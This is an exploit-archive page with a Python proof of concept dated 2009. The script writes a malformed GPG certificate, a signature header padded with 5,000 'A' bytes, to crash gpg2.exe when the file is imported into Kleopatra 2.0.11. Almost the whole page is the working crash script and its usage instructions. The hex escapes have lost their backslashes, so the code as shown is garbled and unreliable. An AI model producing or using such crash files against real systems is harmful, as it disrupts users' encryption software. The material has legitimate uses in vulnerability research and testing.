[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : GPG2/Kleopatra 2.0.11 malformed certificate PoC
# Published : 2009-10-21
# Author : Dr_IDE
# Previous Title : Linux Kernel < 2.6.31-rc7 AF_IRDA 29-Byte Stack Disclosure Exploit
# Next Title : Overland Guardian OS 5.1.041 privilege escalation 


#!/usr/bin/env python

################################################################
#
# GPG2/Kleopatra 2.0.11 - Malformed Certificate Crash PoC
# Note: 	Part of the GPG4Win Package v2.0.1
# Found By:	Dr_IDE
# Tested On:	7RC, XPSP3
# Usage:	Import the Cert into Kleopatra, GPG2.exe Crashes
#
################################################################

# Seems to only check for the presense of this signature
cert  = ("x99x03x2Ex04x4AxDCxA8x29x11x08x20");
cert += ("x41" * 5000);

try:
	print ("[*] Creating evil GPG cert.");
	f1 = open("gpg2_evil_cert.gpg","w");
	f1.write(cert);
	f1.close();
	print ("[*] File created successfully. Import it.");

except:
	print ("[-] Error.");

#[pocoftheday.blogspot.com]